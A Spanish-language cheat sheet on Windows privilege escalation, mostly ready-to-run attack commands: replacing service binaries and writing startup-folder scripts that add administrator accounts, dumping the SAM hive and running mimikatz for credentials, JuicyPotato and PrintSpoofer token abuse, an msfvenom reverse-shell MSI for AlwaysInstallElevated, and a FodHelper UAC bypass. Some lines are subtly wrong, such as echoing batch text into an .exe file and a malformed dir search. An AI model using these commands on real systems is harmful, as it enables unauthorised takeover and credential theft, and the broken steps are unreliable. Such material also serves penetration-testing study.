Windows Privilege Escalation - Guía Completa
1. Introducción
La escalada de privilegios en Windows consiste en obtener acceso a nivel SYSTEM o Administrador partiendo de un usuario con privilegios limitados. Esta guía cubre desde la enumeración inicial hasta técnicas avanzadas.
2. Enumeración Inicial
2.1. Información del Sistema
# Sistema
systeminfo
Get-ComputerInfo
# Usuario y privilegios
whoami
whoami /priv
whoami /groups
# Domain / Workgroup
net config workstation
nltest /dsgetdc:DOMAIN (si hay dominio)
2.2. Enumeración Básica
REM CMD
whoami
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
REM Usuarios y grupos
net user
net localgroup
net localgroup Administrators
REM Versión de parches (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn
Otros comandos básicos:
REM Procesos
tasklist /svc
tasklist /V
REM Scheduled Tasks
schtasks /query /fo LIST /v
REM Variables de entorno
set
REM Unidades
fsutil fsinfo drives
REM Puertos y conexiones
netstat -anob
3. Búsqueda de Archivos Sensibles
Buscar configuraciones, credenciales y archivos interesantes:
REM Archivos de configuración
dir /s *pass* == *cred* == *config* == *secret* == *.kdbx == *.rdp *.txt == *.config == *.xml == *.ini %USERPROFILE%
dir /s *pass* == *cred* == *secret* %PROGRAMDATA%
dir /s *pass* == *cred* == *secret* %SYSTEMDRIVE%\
REM Directorios Notables
dir "C:\Program Files\" /A:D
dir "C:\Program Files (x86)\" /A:D
dir "C:\Users\"
4. Windows Services (Grupos y Servicios)
4.1. Grupos Privilegiados en Windows
| Grupo | Descripción | Permiso |
|---|---|---|
| Administrators | Acceso total | Administración completa |
| Backup Operators | Copias de seguridad | Restaurar/buscar archivos |
| Remote Desktop Users | Acceso remoto | Conexión RDP |
| Server Operators | Servidores DC | Configurar servicios |
| Account Operators | Cuentas DC | Modificar usuarios |
| Print Operators | Impresoras DC | Parar/iniciar impresoras |
| Hyper-V Administrators | Máquinas virtuales | Acceso a VMs |
| Event Log Readers | Registros | Leer logs de eventos |
Backup Operators:
robocopy /b C:\Users\Administrator\Desktop C:\exfiltracion\ /E
sebackupprivilege
4.2. Servicios con Permisos Incorrectos
REM Listar servicios y sus permisos (con accesschk)
accesschk.exe -uwcqv "Usuarios autentificados" *
REM Propietarios y binarios de servicios
icacls "C:\Archivos de programa\servicio.exe"
sc qc nombre_servicio
REM Buscar directorios de servicios donde los usuarios autentificados / normal tengan privilegios de escritura
icacls "C:\Archivos de programa\"
Si un servicio usa un binario donde nuestro usuario o grupo tiene permisos de escritura:
REM Reemplazar el binario
echo @echo off > C:\Program Files\Servicio\servicio.exe
echo net user nuevo Usuario123! /add >> C:\Program Files\Servicio\servicio.exe
echo net localgroup Administrators nuevo /add >> C:\Program Files\Servicio\servicio.exe
REM Reiniciar el servicio
sc stop nombre_servicio
sc start nombre_servicio
4.3. Servicios sin Ruta Absoluta
Si la ruta al binario del servicio no está entre comillas:
sc qc nombre_servicio
REM "C:\Program Files\Servicio\servicio.exe" → vulnerable
REM C:\Program.exe será ejecutado
4.4. Servicios Detenidos
sc query state= inactive
wmic service get name,displayname,pathname,startmode | findstr "Auto" | findstr /v "Running"
Servicios detenidos que se inician manualmente:
sc start nombre_servicio
5. Tokens y Privilegios
5.1. Enumerar Privilegios
whoami /priv
5.2. Privilegios Clave
| Privilegio | Descripción | Uso Explotación |
|---|---|---|
| SeBackupPrivilege | Backup archivos | robocopy /b |
| SeRestorePrivilege | Restaurar archivos | Sobrescribir archivos |
| SeTakeOwnershipPrivilege | Tomar propiedad | Acceder a archivos |
| SeImpersonatePrivilege | Impersonar | JuicyPotato, RoguePotato |
| SeAssignPrimaryToken | Token primario | Incognito |
| SeLoadDriverPrivilege | Cargar drivers | Instalar driver malicioso |
| SeCreateServicePrivilege | Crear servicios | Nuevo servicio SYSTEM |
| SeDebugPrivilege | Debug procesos | Inyectar en procesos |
5.3. JuicyPotato / RoguePotato
SeImpersonatePrivilege
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
5.4. PrintSpoofer / GodPotato
PrintSpoofer.exe -i -c powershell.exe
GodPotato.exe -cmd "cmd /c whoami"
6. Credenciales y Hashes
REM SAM
reg save hklm\sam sam
reg save hklm\system system
REM Mimikatz
mimikatz.exe privilege::debug token::elevate lsadump::sam exit
REM Group Policy (SYSVOL)
findstr /si password \\DOMINIO\SYSVOL\*.xml
findstr /si password *.xml *.txt *.ini
7. Kernel Exploits
systeminfo
# Buscar exploits para el parche:
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Windows Exploit Suggester
wesng.py systeminfo.txt
8. AlwaysInstallElevated
Si la clave de registro está habilitada:
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
msfvenom -p windows/x64/meterpreter/reverse_tcp -f msi -o roto.msi
msiexec /quiet /qn /i roto.msi
9. Unquoted Service Paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\\Windows\\" |findstr /i /v "\""
sc qc nombre_servicio
icacls "C:\Program Files\"
# Si es escribible → colocar una reverse shell como objetivo
10. Startup Applications
# Buscar directorios de inicio escribibles
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
# Si podemos escribir aquí → meter un .bat / .vbs / exe que genere un nuevo usuario admin
echo @echo off > "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.bat"
echo net user hacker Hacker123! /add >> "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.bat"
echo net localgroup Administradores hacker /add >> "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.bat"
11. DLL Hijacking
# Buscar carpetas del PATH escribible/writable
icacls C:\Windows\System32\
icacls C:\Windows\
icacls C:\Archivos de programa\
# Procesmon para detectar ejecución que falla al buscar DLL
# Se lleva a la carpeta escribible del PATH
12. Escalada con Servicios
Puede comprobarse si el usuario tiene permisos para modificar o administrar un servicio:
secedit /export /cfg C:\export.cfg
type C:\export.cfg
13. Escalada por Named Pipes
Named Pipes es útil si logramos una comunicación entre procesos de distinto nivel.
14. UAC Bypass (Elevación Local)
# FodHelper
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /f
15. Registro
# AutoRun de usuarios
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
16. Scripts Automáticos de Enumeración
Sherlock:
powershell -ExecutionPolicy Bypass
Import-Module .\Sherlock.ps1
Find-AllVulns
PowerView:
Get-NetUser
Get-NetGroup
Seatbelt:
Seatbelt.exe -group=all
17. Checklist
whoami /all— ¿privilegios? (SeImpersonate, SeDebug, etc.)systeminfo— SO, arquitectura, hotfixeswmic service get— Servicios (always install elevated / unquoted paths / binarios escribibles)accesschk /accepteula -uwcqv "Usuarios autentificados" *— Permisos de serviciosicacls "C:\Archivos de programa"— ¿Escribible? (DLL hijacking o .exe)reg query— AlwaysInstallElevated, Run, AutoRuntasklist /SVC— Procesos y servicios- Buscar archivos con credenciales